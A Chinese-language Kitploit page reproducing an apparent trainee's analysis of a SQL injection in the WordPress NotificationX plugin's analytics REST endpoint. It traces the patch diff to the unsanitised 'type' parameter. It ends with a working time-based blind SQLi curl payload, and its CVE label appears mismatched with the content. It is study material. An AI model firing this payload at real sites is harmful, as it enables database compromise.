Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-1698 | Kitploit
工具/GitHubGitHub/raytran54/cve-2019-1698
漏洞分析代码分析Web应用程序漏洞利用渗透测试学习与教育
GitHubraytran54/cve-2019-1698

CVE-2019-1698

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

TRAN CONG DANH - SVTT - 导师: LUU VAN LAN - CVE-2019-1698 - 开始日期: 30/07/2024

  • 对比存在漏洞的版本与修复漏洞版本的代码差异:

代码参考 1: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php image

代码参考 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php image

因此,以下文件与此 CVE 相关:

root@kitploit:~
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php

现在,我们将检查可能存在漏洞代码的文件: image 重点关注 insert_analytics() 函数: image 它接收来自用户的 $request,并提取 type 参数。

随后,该值被传递给 CoreAnalytics::get_instance()->insert_analytics() 函数: image

要触发此代码,我们可以注意到映射的路由(来自 Analytics 类的 register_routes() 函数内):

root@kitploit:~
$this->namespace . '/' . $this->rest_base

并且 Analytics 类的构造函数揭示了 namespace 和 rest_base 变量的值:

root@kitploit:~
public function __construct() {
	$this->namespace = 'notificationx/v1';
	$this->rest_base = 'analytics';
	add_action('rest_api_init', [$this, 'register_routes']);
}

因此,接受用户提供的 type 参数的相关(易受攻击的)代码可以通过以下路由访问:

root@kitploit:~
notificationx/v1/analytics

但利用方法是什么?可注入的 SQL 查询又在哪里?

由于用户提供的 type 参数被传递给:

root@kitploit:~
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );

定位该函数:

image 让我们检查高亮文件中的该函数代码:

wp-content/plugins/notificationx/includes/Core/Analytics.php: image

如果你认为漏洞出在 increment_count() 函数中,那么你完全找对了方向!

以下是 increment_count 函数(它使用了来自用户的 $type 参数): image

该函数进而调用 update_analytics() 函数。让我们来看一下它: image

image

update_analytics 函数动态创建了一条 SQL 查询,而未经过滤的用户输入正是其中的一部分。是不是感觉有问题?应该的,因为这就是导致漏洞的原因。

$col 参数对应用户在 HTTP 请求中发送的 type 参数。

$table_name 被设置为:nx_stats:

root@kitploit:~
public function __construct() {
	global $wpdb;
	$this->wpdb          = $wpdb;
	self::$table_entries = $wpdb->prefix . 'nx_entries';
	self::$table_posts   = $wpdb->prefix . 'nx_posts';
	self::$table_stats   = $wpdb->prefix . 'nx_stats';
}

为了确定正确的 HTTP 方法,我利用了 WordPress REST API:

root@kitploit:~
http://localhost/wp-json/

image

/notificationx/v1/analytics API 路由可以通过 POST 请求触发,我们必须传递 nx_id(整数)以及(可选)type(字符串)。

请记住,分析信息是在名为 nx_stats 的表中更新的,这是我们之前从 wp-content/plugins/notificationx/includes/Core/Database.php 中的代码片段推断出的:

root@kitploit:~
public function __construct() {
	global $wpdb;
	$this->wpdb          = $wpdb;
	self::$table_entries = $wpdb->prefix . 'nx_entries';
	self::$table_posts   = $wpdb->prefix . 'nx_posts';
	self::$table_stats   = $wpdb->prefix . 'nx_stats';
}
root@kitploit:~
$table_name = self::$table_stats;

image

触发易受攻击的代码路径

我们的计划是查看在请求中传递 payload 时所构造出的 SQL 查询。

现在,我们将再次发送带有 SQLi payload 的 curl 请求:

root@kitploit:~
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'

image

下载工具